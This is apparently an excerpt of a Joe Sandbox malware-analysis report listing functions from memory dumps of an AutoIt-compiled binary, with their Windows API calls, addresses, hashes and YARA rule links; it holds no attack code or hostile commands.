Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: 794b098e86dc2d266884600c1907bc130577d8057ef8e92a7903c963ffdf26c6
Instruction ID: 7017d79fda1f3a860348c9ac5b0fbfa5ba4e017e696e9fb062a2f399475d41c9
Opcode Fuzzy Hash: 794b098e86dc2d266884600c1907bc130577d8057ef8e92a7903c963ffdf26c6
Instruction Fuzzy Hash: 7DF08131482A12BBD7411F90EE8CBEA7B36FF01712F487012F201518A1C7789561CF90

Function 005B01B7 Relevance: 9.3, APIs: 6, Instructions: 269COMMON

Download Yara Rule

APIs

__allrem.LIBCMT ref: 005B00BA
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B00D6
__allrem.LIBCMT ref: 005B00ED
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B010B
__allrem.LIBCMT ref: 005B0122
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 005B0140

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Unothrow_t@std@@@__allrem__ehfuncinfo$??2@
String ID:
API String ID: 1992179935-0
Opcode ID: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction ID: f4cfb48a8f83fa9c5c3ef31e7fd4651a35d814c7f93e5713bcc2f30027ceae2d
Opcode Fuzzy Hash: 8fbb49ba762f8ece8e29681380aa111ddf72d6c7443a1a5a7b6c612577c50f6c
Instruction Fuzzy Hash: A181C571A00B069FE724AE68CC45BAF7BE9BF82764F24453EF551D62C1E7B0E9008754

Function 005B61FE Relevance: 9.2, APIs: 6, Instructions: 216COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000001,00000000,?,?,00000000,00000000,?,005A82D9,005A82D9,?,?,?,005B644F,00000001,00000001,8BE85006), ref: 005B6258
MultiByteToWideChar.KERNEL32(00000001,00000001,?,?,00000000,?,?,?,?,005B644F,00000001,00000001,8BE85006,?,?,?), ref: 005B62DE
WideCharToMultiByte.KERNEL32(00000001,00000000,00000000,00000000,?,8BE85006,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 005B63D8
__freea.LIBCMT ref: 005B63E5

Part of subcall function 005B3820: RtlAllocateHeap.NTDLL(00000000,?,00651444,?,0059FDF5,?,?,0058A976,00000010,00651440,005813FC,?,005813C6,?,00581129), ref: 005B3852

__freea.LIBCMT ref: 005B63EE
__freea.LIBCMT ref: 005B6413

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ByteCharMultiWide__freea$AllocateHeap
String ID:
API String ID: 1414292761-0
Opcode ID: 6d328cc8eb4a0d70116267497f684ded03bdbbf91e8137c9c7708440080560de
Instruction ID: 876d44cb00b03b70172f3040cf197247a90358f2cd75212166bf4d9712a10a3b
Opcode Fuzzy Hash: 6d328cc8eb4a0d70116267497f684ded03bdbbf91e8137c9c7708440080560de
Instruction Fuzzy Hash: 4B519172600216ABEB258F64DC85EEF7FAAFB84750F154A29FD05D7140DB38EC44DA60

Function 005F07EF Relevance: 9.1, APIs: 6, Instructions: 107fileCOMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,000001F5), ref: 005F080C
ReadFile.KERNEL32(?,?,0000FFFF,?,00000000), ref: 005F0847
EnterCriticalSection.KERNEL32(?), ref: 005F0863
LeaveCriticalSection.KERNEL32(?), ref: 005F08DC
ReadFile.KERNEL32(?,?,0000FFFF,00000000,00000000), ref: 005F08F3
InterlockedExchange.KERNEL32(?,000001F6), ref: 005F0921

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CriticalExchangeFileInterlockedReadSection$EnterLeave
String ID:
API String ID: 3368777196-0
Opcode ID: 6de5a2d7a0cbbb35e1c0e2f7fc378cae407da25501869b97784277f87817adc5
Instruction ID: c438df804b9656d15fd162bc33a4f9b10667e9d63c37fd7361879dc13f247b7d
Opcode Fuzzy Hash: 6de5a2d7a0cbbb35e1c0e2f7fc378cae407da25501869b97784277f87817adc5
Instruction Fuzzy Hash: 9A416A71A00209EBDF15AF54DC85AAA7BB9FF44310F1880A5ED00DB297DB74DE64DBA0

Function 006181DB Relevance: 9.1, APIs: 6, Instructions: 104windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(FFFFFFFF,00000000,?,00000000,00000000,?,005DF3AB,00000000,?,?,00000000,?,005D682C,00000004,00000000,00000000), ref: 0061824C
EnableWindow.USER32(?,00000000), ref: 00618272
ShowWindow.USER32(FFFFFFFF,00000000), ref: 006182D1
ShowWindow.USER32(?,00000004), ref: 006182E5
EnableWindow.USER32(?,00000001), ref: 0061830B
SendMessageW.USER32(?,0000130C,00000000,00000000), ref: 0061832F

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: 58a99b7619243bd5c8e7c4d994cfc524f7d7490398438534d5265d34c1d2a3fa
Instruction ID: 2729b4835d8e4cd98055135dc509b74d276e9ac43d58f4b69318773f677823b6
Opcode Fuzzy Hash: 58a99b7619243bd5c8e7c4d994cfc524f7d7490398438534d5265d34c1d2a3fa
Instruction Fuzzy Hash: 53419234601644AFDB22CF64C899BE87BF2BB0A715F1C5169E5184F2A2CB71A981CB90

Function 005E4C7D Relevance: 9.1, APIs: 6, Instructions: 87windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 005E4C95
SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 005E4CB2
SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 005E4CEA
_wcslen.LIBCMT ref: 005E4D08
CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 005E4D10
_wcsstr.LIBVCRUNTIME ref: 005E4D1A

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageSend$BuffCharUpperVisibleWindow_wcslen_wcsstr
String ID:
API String ID: 72514467-0
Opcode ID: 5ff699991e542dcd35580c6b54fe332e66099ca1225c0388e3ddbebe0b8d39c4
Instruction ID: 21165d63d564f150b9439b94ca2df877f3df1c34a67d1e992a699ca7e8005cd9
Opcode Fuzzy Hash: 5ff699991e542dcd35580c6b54fe332e66099ca1225c0388e3ddbebe0b8d39c4
Instruction Fuzzy Hash: 8D21F9316042417BEB195B3A9D49E7F7F9DEF85760F14802AF849CA192DA61DC409BA0

Function 005B2D74 Relevance: 9.0, APIs: 6, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,005B5686,005C3CD6,?,00000000,?,005B5B6A,?,?,?,?,?,005AE6D1,?,00648A48), ref: 005B2D78
_free.LIBCMT ref: 005B2DAB
_free.LIBCMT ref: 005B2DD3
SetLastError.KERNEL32(00000000,?,?,?,?,005AE6D1,?,00648A48,00000010,00584F4A,?,?,00000000,005C3CD6), ref: 005B2DE0
SetLastError.KERNEL32(00000000,?,?,?,?,005AE6D1,?,00648A48,00000010,00584F4A,?,?,00000000,005C3CD6), ref: 005B2DEC
_abort.LIBCMT ref: 005B2DF2

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: acb796609b748fb9bfa9b6b3cecfe08a375b81dae0c98c81985b03304bba61aa
Instruction ID: 0d69f56ff0ec4b4c3d6e980fcbe05af9be55f6e0f070da86411fe603f387b5df
Opcode Fuzzy Hash: acb796609b748fb9bfa9b6b3cecfe08a375b81dae0c98c81985b03304bba61aa
Instruction Fuzzy Hash: 21F0A4365456026BC7223738AC0EADE2D5ABFC67B1F254919F82892196EE24B8025170

Function 00618A24 Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00599639: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00599693
Part of subcall function 00599639: SelectObject.GDI32(?,00000000), ref: 005996A2
Part of subcall function 00599639: BeginPath.GDI32(?), ref: 005996B9
Part of subcall function 00599639: SelectObject.GDI32(?,00000000), ref: 005996E2

MoveToEx.GDI32(?,-00000002,00000000,00000000), ref: 00618A4E
LineTo.GDI32(?,00000003,00000000), ref: 00618A62
MoveToEx.GDI32(?,00000000,-00000002,00000000), ref: 00618A70
LineTo.GDI32(?,00000000,00000003), ref: 00618A80
EndPath.GDI32(?), ref: 00618A90
StrokePath.GDI32(?), ref: 00618AA0

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 2df1c7f03fcb1ab430b4f08813e171c2a819dd29bfd8a41d79e327bf0052c1ad
Instruction ID: faaf4e3bf579199abc9b1d4651d5fe7ed74e065ee536eac2cdb07d6af2f509ae
Opcode Fuzzy Hash: 2df1c7f03fcb1ab430b4f08813e171c2a819dd29bfd8a41d79e327bf0052c1ad
Instruction Fuzzy Hash: 6811F77604010DFFDB129F95DC88EEA7F6EEB08365F04C012BA199A1A1C7729D55DBA0

Function 005EEB20 Relevance: 9.0, APIs: 6, Instructions: 42windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 005EEB30
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 005EEB46
GetWindowThreadProcessId.USER32(?,?), ref: 005EEB55
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005EEB64
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005EEB6E
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 005EEB75

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: 957922c9cfd9eea3308d50a2b013753e83a2bd51d1b7a45e37c6b0882c985292
Instruction ID: 7b898d8579f17c1bbd9ff12cbf66c9ca11af58d5e15758f3a88054259518acb3
Opcode Fuzzy Hash: 957922c9cfd9eea3308d50a2b013753e83a2bd51d1b7a45e37c6b0882c985292
Instruction Fuzzy Hash: 93F09A72280568BBE7215B629C0EEEF3E7DEFCAB21F04915AF601D1090E7A01A01C6B4

Function 005EC5D0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 191windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00587620: _wcslen.LIBCMT ref: 00587625

GetMenuItemInfoW.USER32(?,?,00000000,?), ref: 005EC6EE
_wcslen.LIBCMT ref: 005EC735
SetMenuItemInfoW.USER32(?,?,00000000,?), ref: 005EC79C
SetMenuDefaultItem.USER32(?,000000FF,00000000), ref: 005EC7CA

Strings

0, xrefs: 005EC6AF

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: ItemMenu$Info_wcslen$Default
String ID: 0
API String ID: 1227352736-4108050209
Opcode ID: 345653e6956726bdc3b320f7f445e7072637dc5b3192f678b57f947084726c5d
Instruction ID: 1aacab822cbe38b94e28fa20918c0c7b4a76aa210cabd3f9ce716ec6d5651b68
Opcode Fuzzy Hash: 345653e6956726bdc3b320f7f445e7072637dc5b3192f678b57f947084726c5d
Instruction Fuzzy Hash: 4151BF716043819BD7189F2AC889B6B7FE8FF8A314F040A2DF9D5E6190DB60DD068B52

Function 0060AD64 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(0000003C), ref: 0060AEA3

Part of subcall function 00587620: _wcslen.LIBCMT ref: 00587625

GetProcessId.KERNEL32(00000000), ref: 0060AF38
CloseHandle.KERNEL32(00000000), ref: 0060AF67

Strings

<, xrefs: 0060AE6B
@, xrefs: 0060AE72

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: CloseExecuteHandleProcessShell_wcslen
String ID: <$@
API String ID: 146682121-1426351568
Opcode ID: 9138baf42a8c32435f79f7cde9ad881f800c7e32c959de5ce52eee53838c0c92
Instruction ID: 23cf328ce23afb4be2fdd5f5d1a7a8203e9ee6afa6907735e68d2cbb7b98f197
Opcode Fuzzy Hash: 9138baf42a8c32435f79f7cde9ad881f800c7e32c959de5ce52eee53838c0c92
Instruction Fuzzy Hash: 22718C71A0021ADFCB14EF94C488A9EBBF1FF48314F148499E856AB3A2D774ED41CB91

Function 006141EB Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 67windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(00000000,00000405,00000000,00000000), ref: 0061424F
SendMessageW.USER32(?,00000406,00000000,_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{), ref: 00614264
SendMessageW.USER32(?,00000414,0000000A,00000000), ref: 00614271

Strings

msctls_trackbar32, xrefs: 00614226
_______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{, xrefs: 00614256

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: MessageSend
String ID: _______________________________________________________________________________________________________________________________abccccccccdeefghijklmnopqrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstuvwxrstyzzzzzzzzzzzzzzzz{{{{$msctls_trackbar32
API String ID: 3850602802-3430821868
Opcode ID: 54b46c93097417e5f1e14350a73dd810758ba37dfb2c3b21855331c3b08d3740
Instruction ID: 29212bbc2623ab74d1e6167d06ef07559fde1e8d0f6779815a0da22b9224da42
Opcode Fuzzy Hash: 54b46c93097417e5f1e14350a73dd810758ba37dfb2c3b21855331c3b08d3740
Instruction Fuzzy Hash: 0211E031240208BEEF209F28CC06FEB3BAEEF95B64F150124FA55E71A0D671DC919B20

Function 005A4D6D Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,005A4D1E,005B28E9,?,005A4CBE,005B28E9,006488B8,0000000C,005A4E15,005B28E9,00000002), ref: 005A4D8D
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005A4DA0
FreeLibrary.KERNEL32(00000000,?,?,?,005A4D1E,005B28E9,?,005A4CBE,005B28E9,006488B8,0000000C,005A4E15,005B28E9,00000002,00000000), ref: 005A4DC3

Strings

CorExitProcess, xrefs: 005A4D98
mscoree.dll, xrefs: 005A4D86

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 5e9e74f5fe4ef90c465d5dd88eb5152697be625f0fbab53f774a2edce04da884
Instruction ID: cf19c7132a811aca7d3fd628bca3a9fa74efa4e1ab78755e13a1f75867a87ac3
Opcode Fuzzy Hash: 5e9e74f5fe4ef90c465d5dd88eb5152697be625f0fbab53f774a2edce04da884
Instruction Fuzzy Hash: 54F04F35A80218BBDB119F94DC49BEDBFBAEF85761F0440A5F805A2260CB719940CE90

Function 00584E90 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,00584EDD,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584E9C
GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 00584EAE
FreeLibrary.KERNEL32(00000000,?,?,00584EDD,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584EC0

Strings

kernel32.dll, xrefs: 00584E94
Wow64DisableWow64FsRedirection, xrefs: 00584EA8

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32.dll
API String ID: 145871493-3689287502
Opcode ID: ee672699c31be385faf558ac3f63507948022cd74e70613464d5799182acbb38
Instruction ID: b8bb6400ad7f412d6904903f59a6f6e97b420cbf3dd4e1ea0679f0def384a95e
Opcode Fuzzy Hash: ee672699c31be385faf558ac3f63507948022cd74e70613464d5799182acbb38
Instruction Fuzzy Hash: E3E0CD35A815336BD3312B256C19B9F6A5DBFC1F7270D4116FC00F2210DB60CD0545A1

Function 00584E59 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 22libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32.dll,?,?,005C3CDE,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584E62
GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 00584E74
FreeLibrary.KERNEL32(00000000,?,?,005C3CDE,?,00651418,00000001,>>>AUTOIT NO CMDEXECUTE<<<,?,?,?,00000000), ref: 00584E87

Strings

Wow64RevertWow64FsRedirection, xrefs: 00584E6E
kernel32.dll, xrefs: 00584E5B

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

Associated: 0000000F.00000002.3143978998.0000000000580000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.000000000061C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3146604335.0000000000642000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3148721197.000000000064C000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000F.00000002.3150221058.0000000000654000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_580000_d71513cd6d.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32.dll
API String ID: 145871493-1355242751
Opcode ID: 2245f9beb25c84ca1d35476cff511405a5b9783a50840d6ac4f0ea65edb5f402
Instruction ID: 83c3aba89d0199e693a5d768377e8e37363b977fa21327ea5a15177f16aa3802
Opcode Fuzzy Hash: 2245f9beb25c84ca1d35476cff511405a5b9783a50840d6ac4f0ea65edb5f402
Instruction Fuzzy Hash: 4CD01235582632A7D7222B256C1ADCF6E1EBF85B7130A4516BD05F2114CF60CD018AD1

Function 005F2947 Relevance: 7.8, APIs: 5, Instructions: 313fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005F2C05
DeleteFileW.KERNEL32(?), ref: 005F2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 005F2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005F2CAE
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 005F2CC0

Memory Dump Source

Source File: 0000000F.00000002.3144475969.0000000000581000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00580000, based on PE: true

